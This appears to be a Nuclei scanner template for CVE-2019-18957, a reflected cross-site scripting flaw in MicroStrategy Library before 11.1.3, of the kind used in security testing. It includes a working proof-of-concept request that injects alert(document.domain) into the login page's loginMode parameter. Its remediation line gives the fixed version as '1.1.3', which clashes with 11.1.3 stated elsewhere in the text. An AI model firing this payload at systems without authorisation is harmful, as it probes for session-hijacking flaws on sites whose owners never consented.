MicroStrategy Library before 11.1.3 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
PoC代码[已公开]
id: CVE-2019-18957
info:
name: MicroStrategy Library <11.1.3 - Cross-Site Scripting
author: tess
severity: medium
description: |
MicroStrategy Library before 11.1.3 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: The issue can be resolved by downloading and installing 1.1.3, which has the patch.
reference:
- https://seclists.org/bugtraq/2019/Nov/23
- https://packetstormsecurity.com/files/155320/MicroStrategy-Library-Cross-Site-Scripting.html
- https://nvd.nist.gov/vuln/detail/CVE-2019-18957
- http://packetstormsecurity.com/files/155320/MicroStrategy-Library-Cross-Site-Scripting.html
- http://seclists.org/fulldisclosure/2019/Nov/4
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-18957
cwe-id: CWE-79
epss-score: 0.0746
epss-percentile: 0.9141
cpe: cpe:2.3:a:microstrategy:microstrategy_library:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: microstrategy
product: microstrategy_library
tags: cve,cve2019,microstrategy,packetstorm,xss,seclists
http:
- method: GET
path:
- "{{BaseURL}}/MicroStrategyLibrary/auth/ui/loginPage?loginMode=alert(document.domain)"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "previousLoginMode: alert(document.domain),"
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a0047304502203118edbee679c1df50180c8567328ae2e8616162ce8a8398dc527de2f3308a11022100befb7dd4a303112511fdf9873b76051958b2fee6e231c864843dda9b9df7e5ea:922c64590222798bb761d5b6d8e72950